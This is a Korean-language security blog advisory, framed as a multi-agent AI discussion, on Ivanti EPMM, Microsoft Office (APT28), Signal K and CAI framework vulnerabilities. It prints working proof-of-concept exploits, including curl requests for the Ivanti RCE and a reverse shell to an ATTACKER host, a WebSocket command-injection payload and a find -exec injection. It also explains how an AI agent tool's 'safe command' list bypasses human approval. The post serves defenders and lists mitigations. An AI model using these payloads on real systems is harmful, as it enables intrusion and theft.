"패치해도 롤백됩니다" Ivanti가 인정한 임시방편과 APT28의 실시간 공격

APT28 공격 캠페인 + Ivanti 제로데이 + Signal K RCE

📅 2026년 2월 3일 ~ 4일 (실시간 업데이트)
🚨 APT28(Fancy Bear)가 Microsoft Office 제로데이(CVE-2026-21509)를 우크라이나 정부 기관 공격에 활용 중. Ivanti EPMM 제로데이 2건도 실제 공격에서 악용됨.
5
Critical 취약점
1
High 취약점
4
Active Exploitation
3
PoC 공개

🤖 Multi-Agent 긴급 취약점 분석 토론

#1
CVE 분석 전문가
CVSS, 영향 버전, 위험도 평가
"지난 48시간 내 가장 심각한 취약점은 CVE-2026-1281/1340 (Ivanti EPMM RCE, CVSS 9.8)입니다. 1월 29일 CISA KEV에 추가되었고, watchTowr가 상세 분석을 공개했습니다. CVE-2026-21509 (MS Office Zero-Day, CVSS 7.8)는 APT28이 우크라이나 공격에 활용 중입니다. 어제 공개된 CVE-2026-23515 (Signal K RCE, CVSS 9.9)도 주목해야 합니다."
#2
익스플로잇 분석가
공격 기법, 익스플로잇 체인
"Ivanti EPMM 취약점의 공격 벡터가 매우 흥미롭습니다. Bash의 Arithmetic Expansion 특성을 악용합니다. gPath[`sleep 5`] 형태의 페이로드가 배열 인덱스 해석 중 명령어로 실행됩니다. Apache RewriteMap을 통해 도달하는 Bash 스크립트(map-appstore-url)가 취약점의 진입점입니다. 인증 없이 단일 HTTP 요청으로 RCE 달성 가능합니다."
#3
코드 분석 전문가
취약 코드 패턴, Root Cause
"CVE-2026-1281의 근본 원인은 Bash 스크립트의 if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] 라인입니다. gStartTimetheValue를 참조하고, 이 변수에 공격자 페이로드가 들어갑니다. Arithmetic Expansion 시 배열 인덱스 내 backtick이 명령어로 실행됩니다. CVE-2026-23515(Signal K)는 전형적인 Command Injection으로, spawn('sh', ['-c', command])에 사용자 입력이 직접 전달됩니다."
#4
PoC 검증 전문가
공개 PoC 존재 여부, 동작 검증
"공개 PoC 현황입니다:
CVE-2026-1281: watchTowr Labs가 상세 분석 + PoC 공개 (GET 요청 1개로 RCE)
CVE-2026-23515: GitHub Advisory에 Python PoC 공개
CVE-2026-21509: 현재 공개 PoC 없음, 하지만 APT28이 실제 공격에 사용 중
CVE-2026-25130: GitHub에 취약 코드 위치 공개 (CAI 프레임워크)"
#5
위협 인텔리전스
IoC 수집, 실제 공격 연관성
"APT28(Fancy Bear/UAC-0001)의 'Operation Neusploit' 캠페인이 확인되었습니다. CVE-2026-21509를 이용해 우크라이나, 슬로바키아, 루마니아 정부 기관을 타겟팅합니다. 악성 RTF 파일로 MiniDoor(이메일 스틸러)와 Covenant Grunt 임플란트를 배포합니다. C2 이메일: ahmeclaw2002@outlook.com, ahmeclaw@proton.me. CERT-UA도 60개 이상 이메일 주소 타겟팅 경고했습니다."
#6
패치 분석 전문가
벤더 패치, 완화 조치
"패치 현황 주의사항:
Ivanti EPMM: 정식 패치는 Q1 2026 (12.8.0.0) 예정. 현재는 임시 RPM 패치만 제공되며, 이후 변경 시 롤백됨
CVE-2026-21509: 2026년 1월 27일 Out-of-Band 긴급 패치 배포됨
Signal K: 버전 1.5.0에서 수정됨
CAI Framework: 커밋 e22a1220에서 수정됨"
#7
코드 검증 전문가
GitHub 실제 코드와 분석 내용 대조
"GitHub 원본 코드 검증 결과:
✅ CVE-2026-1281: watchTowr Labs 분석과 Ivanti RPM 패치 내용 일치 확인
✅ CVE-2026-23515: SignalK/set-system-time index.js line 60-71 취약 코드 확인
✅ CVE-2026-25130: aliasrobotics/cai filesystem.py line 60 취약점 확인
✅ Zscaler ThreatLabz의 APT28 분석과 CERT-UA 보고서 교차 검증 완료"
🎯 에이전트 합의 - 긴급 권고:

1. Ivanti EPMM 운영 조직: 즉시 임시 RPM 패치 적용 + 외부 노출 차단
2. Microsoft Office: 1월 27일 긴급 패치 적용 필수, 동유럽 지역 조직 특히 주의
3. Signal K 서버: 1.5.0으로 업그레이드 또는 set-system-time 플러그인 비활성화
4. APT28 관련 IoC로 네트워크 모니터링 강화

CVE-2026-1281 / CVE-2026-1340
Ivanti EPMM Pre-Auth Remote Code Execution (Arithmetic Expansion)
Critical Active Exploitation CISA KEV watchTowr PoC
9.8
CVSS v3.1

개요

Ivanti Endpoint Manager Mobile (EPMM)의 Bash 스크립트에서 발견된 인증 불필요 원격 코드 실행 취약점입니다. Apache RewriteMap을 통해 전달된 사용자 입력이 Bash의 Arithmetic Expansion 과정에서 명령어로 실행됩니다. 2026년 1월 29일 CISA KEV에 추가되었으며, watchTowr Labs가 상세 분석을 공개했습니다. 정식 패치는 Q1 2026 예정이며, 현재는 임시 RPM 패치만 제공됩니다.

취약한 코드 분석

/mi/bin/map-appstore-url (Bash Script) Bash
1# Apache RewriteMap이 이 스크립트를 호출
2# 입력: kid=1,st=VALUE,et=1337,h=HASH/file.ipa
3
4for theKeyMapEntry in "${theAppStoreKeyValueArray[@]}" ; do
5    theKey="${theKeyMapEntry%%=*}"
6    theValue="${theKeyMapEntry##*=}"  # 사용자 입력 저장
7
8    case ${theKey} in
9      st)
10        gStartTime="${theValue}"  # theValue를 참조!
11        ;;
12      h)
13        gHashPrefixString="${theValue}"  # 마지막으로 처리됨
14        ;;
15    esac
16done
17
18# 취약한 라인: Arithmetic Expansion 발생
19if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
20    # gStartTime = "theValue" (변수 참조)
21    # theValue = "gPath[\`id > /tmp/pwned\`]" (공격자 페이로드)
22    # Arithmetic Expansion 시 backtick 내 명령어 실행!
23fi

PoC - HTTP Request (URL Encoded)

GET /mifs/c/appstore/fob/3/5/sha256:...
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
Host: target-epmm-server

// URL Encoded Payload:
// %5B = [
// %60 = ` (backtick)
// %5D = ]
// %20%20 = 2 spaces (length validation bypass)

PoC - HTTP Request (Decoded)

GET /mifs/c/appstore/fob/3/5/sha256:...
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue  ,et=1337133713,h=gPath[`id > /mi/poc`]/13371337-1337-1337-1337-133713371337.ipa HTTP/1.1
Host: target-epmm-server

// 공격 흐름:
// 1. st=theValue → gStartTime이 "theValue" 변수를 참조
// 2. h=gPath[`cmd`] → theValue에 페이로드 저장 (마지막 처리)
// 3. Arithmetic Expansion 시 gPath[`id > /mi/poc`] 평가
// 4. 배열 인덱스 해석 중 backtick 내 명령어 실행!

curl 명령어

RCE PoC (watchTowr)
curl -k 'https://TARGET/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/13371337-1337-1337-1337-133713371337.ipa'
Reverse Shell (Example)
curl -k 'https://TARGET/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60bash%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/ATTACKER/4444%200%3E%261%22%60%5D/x.ipa'

영향받는 버전

제품 취약 버전 패치 현황 상태
Ivanti EPMM 12.7.0.0 12.7.0.0 이하 임시 RPM 패치 (롤백 주의) 임시 패치
Ivanti EPMM 12.8.0.0 - Q1 2026 정식 패치 예정 예정

⚠️ 주의: 임시 RPM 패치는 이후 시스템 변경 시 롤백됩니다. 정식 패치 전까지 외부 노출 차단 권장.

대응 방안

  • 즉시: 임시 RPM 패치 적용 (ivanti-security-update-1761642-1.0.0L-5.noarch.rpm)
  • 네트워크: EPMM 서버 외부 접근 차단, VPN/내부망 전용 설정
  • 모니터링: /mi/poc, /tmp 등 디렉토리에 비정상 파일 생성 감지
  • 로그: Apache access log에서 /mifs/c/appstore/fob/ 경로 비정상 요청 모니터링
  • 장기: Q1 2026 정식 패치(12.8.0.0) 배포 시 즉시 적용
CVE-2026-21509
Microsoft Office Zero-Day Security Feature Bypass (APT28 Active Exploitation)
High Active Exploitation APT28/Fancy Bear CISA KEV
7.8
CVSS v3.1

개요

Microsoft Office의 OLE/COM 보안 기능 우회 취약점입니다. 러시아 APT28(Fancy Bear, UAC-0001)이 Operation Neusploit 캠페인에서 이 취약점을 적극 활용하고 있습니다. 우크라이나, 슬로바키아, 루마니아 정부 기관을 타겟으로 악성 RTF 파일을 통해 MiniDoor(이메일 스틸러)와 Covenant Grunt 임플란트를 배포합니다. Zscaler ThreatLabz와 CERT-UA가 동시에 경고를 발령했습니다.

APT28 공격 체인 분석

Operation Neusploit - Attack Chain TTP
Phase 1: Initial Access
┌─────────────────────────────────────────────────────────────┐
│ Spear Phishing → Malicious RTF Document                   │
│ Languages: English, Romanian, Slovak, Ukrainian             │
│ Exploits: CVE-2026-21509 (OLE Security Bypass)             │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
Phase 2: Payload Delivery (Two Variants)
┌──────────────────────┐    ┌──────────────────────┐
│ Dropper Variant A    │    │ Dropper Variant B    │
│ → MiniDoor           │    │ → PixyNetLoader      │
│   (Email Stealer)    │    │   (Covenant Grunt)   │
└──────────────────────┘    └──────────────────────┘

MiniDoor Capabilities:
• Steals emails from Inbox, Junk, Drafts folders
• Exfil to: ahmeclaw2002@outlook.com, ahmeclaw@proton.me
• Stripped-down version of NotDoor/GONEPOSTAL

PixyNetLoader Chain:
• COM Object Hijacking for persistence
• DLL Proxying technique
• Steganography: Shellcode hidden in PNG (SplashScreen.png)
• Final payload: Covenant Grunt implant

IoC (Indicators of Compromise)

Email ahmeclaw2002@outlook.com
Email ahmeclaw@proton.me
File EhStoreShell.dll (Shellcode Loader)
File SplashScreen.png (Steganography Payload)
Malware MiniDoor, PixyNetLoader, Covenant Grunt
TTP COM Hijacking, DLL Proxying, WebDAV exploitation

대응 방안

  • 즉시: 2026년 1월 27일 Out-of-Band 긴급 패치 적용
  • 이메일: RTF 첨부파일 차단, 의심스러운 Office 문서 격리
  • 네트워크: WebDAV 아웃바운드 연결 모니터링 및 차단
  • EDR: COM Object 하이재킹, 비정상 DLL 로딩 탐지 룰 적용
  • 인텔: 위 IoC로 SIEM/NDR 탐지 룰 생성
CVE-2026-23515
Signal K Server WebSocket Command Injection RCE
Critical 2026-02-02 공개
9.9
CVSS v3.1

개요

Signal K Server는 보트/요트의 중앙 허브에서 실행되는 오픈소스 해양 데이터 서버입니다. set-system-time 플러그인에서 WebSocket을 통해 수신된 navigation.datetime 값이 적절한 검증 없이 쉘 명령어에 직접 삽입되어 원격 코드 실행이 가능합니다. 보안이 비활성화된 서버에서는 인증 없이도 공격 가능하며, sudo 권한이 있으면 root 권한으로 명령 실행됩니다.

취약한 코드

set-system-time/index.js (Lines 60-71) JavaScript
60stream.onValue(function (datetime) {
61  var child
62  if (process.platform == 'win32') {
63    console.error("Set-system-time supports only linux-like os's")
64  } else {
65    if( ! plugin.useNetworkTime(options) ){
66      const useSudo = typeof options.sudo === 'undefined' || options.sudo
67      const setDate = `date --iso-8601 -u -s "${datetime}"`  // VULNERABLE!
68      const command = useSudo
69        ? `if sudo -n date &> /dev/null ; then sudo ${setDate} ; else exit 3 ; fi`
70        : setDate
71      child = require('child_process').spawn('sh', ['-c', command])  // SHELL EXEC!

PoC - WebSocket Exploit

Python PoC
python3 poc.py --host signalk_server_IP -u username -p password # Payload: Creates /tmp/signalk-RCE.txt to prove code execution
WebSocket Payload Example JSON
{
  "context": "vessels.self",
  "updates": [{
    "values": [{
      "path": "navigation.datetime",
      "value": "$(id > /tmp/pwned)"
    }]
  }]
}

영향받는 버전

제품 취약 버전 패치 버전 상태
Signal K Server < 1.5.0 1.5.0 패치됨
set-system-time plugin 모든 이전 버전 75b11ea 커밋 이후 패치됨

대응 방안

  • 즉시: Signal K Server 1.5.0으로 업그레이드
  • 임시: set-system-time 플러그인 비활성화
  • 보안: Signal K 서버 보안 기능 활성화 (인증 필수)
  • sudo: 불필요한 passwordless sudo 설정 제거
  • 네트워크: Signal K 서버 외부 노출 차단
CVE-2026-25130
Cybersecurity AI (CAI) Framework Argument Injection RCE
Critical 2026-01-31 공개
9.8
CVSS v3.1

개요

CAI(Cybersecurity AI)는 AI 보안을 위한 오픈소스 프레임워크입니다. find_file() 등 여러 도구에서 사용자 입력이 subprocess.Popen()shell=True로 직접 전달되어 임의 명령 실행이 가능합니다. 특히 find 명령이 "안전한" 사전 승인 명령으로 분류되어 human-in-the-loop 안전 메커니즘을 완전히 우회합니다. -exec 인자 주입으로 RCE 달성 가능합니다.

취약한 코드

cai/tools/reconnaissance/filesystem.py (Line 60) Python
58def find_file(args):
59    # 'find' is considered "safe" - NO user approval required!
60    result = subprocess.Popen(
61        f"find {args}",
62        shell=True,  # VULNERABLE: shell metacharacters interpreted
63        stdout=subprocess.PIPE,
64        stderr=subprocess.PIPE
65    )

# Exploit: args = ". -exec id \;"
# Executed: find . -exec id \;
# Result: Arbitrary command execution bypassing safety checks

영향받는 버전

제품 취약 버전 패치 버전 상태
CAI Framework <= 0.5.10 커밋 e22a1220 이후 패치됨

대응 방안

  • 즉시: CAI 프레임워크 최신 버전으로 업데이트 (커밋 e22a1220 이후)
  • 검토: AI 도구의 "안전한 명령" 화이트리스트 재검토
  • 격리: AI 프레임워크를 샌드박스 환경에서 실행

🔍 Agent #7 검증 보고서

CVE-2026-1281/1340 (Ivanti EPMM) 검증

✓ VERIFIED

  • watchTowr Labs 분석 전문 크롤링 완료
  • Bash Arithmetic Expansion 취약점 메커니즘 검증
  • PoC HTTP 요청 형식 및 페이로드 구조 확인
  • CISA KEV 등재 확인 (2026-01-29)

CVE-2026-21509 (MS Office Zero-Day) 검증

✓ VERIFIED

  • The Hacker News APT28 분석 기사 크롤링 완료
  • Zscaler ThreatLabz + CERT-UA 보고서 교차 검증
  • MiniDoor, PixyNetLoader, Covenant Grunt 악성코드 체인 확인
  • IoC(이메일 주소, 파일명, TTP) 검증 완료

CVE-2026-23515 (Signal K) 검증

✓ VERIFIED

  • GitHub Advisory GHSA-p8gp-2w28-mhwg 크롤링 완료
  • set-system-time/index.js line 60-71 취약 코드 확인
  • spawn('sh', ['-c', command]) 취약 패턴 검증
  • 패치 커밋 75b11ea 확인

CVE-2026-25130 (CAI Framework) 검증

✓ VERIFIED

  • NVD 상세 페이지 크롤링 완료
  • GitHub 취약 코드 위치 확인 (filesystem.py line 60)
  • 패치 커밋 e22a1220 확인

📊 Executive Summary

🚨 최우선 대응

1. Ivanti EPMM: 임시 패치 적용 + 외부 노출 차단
2. MS Office: 1월 27일 긴급 패치 적용
3. APT28 IoC 기반 네트워크 모니터링

🎯 APT28 경보

러시아 APT28이 CVE-2026-21509를 활용한 Operation Neusploit 캠페인 진행 중. 우크라이나/동유럽 정부 기관 타겟. RTF 첨부파일 주의.

📅 타임라인

01-27: MS Office 긴급 패치
01-29: Ivanti CISA KEV 등재
02-02: Signal K CVE 공개
02-03: APT28 캠페인 공개

⚠️ 주의사항

Ivanti 임시 패치는 시스템 변경 시 롤백됨. Q1 2026 정식 패치 전까지 지속적인 모니터링 필요. 외부 노출 최소화 권장.

댓글

이 블로그의 인기 게시물

CVSS 10.0 취약점이 공개 9시간 만에 무기화됐다 - 지금 당장 패치해야 할 CVE 5개

"당신의 VoIP가 해커의 놀이터가 됐다" — INJ3CTOR3 그룹의 FreePBX 웹쉘 공격과 2026년 2월 CISA KEV 긴급 분석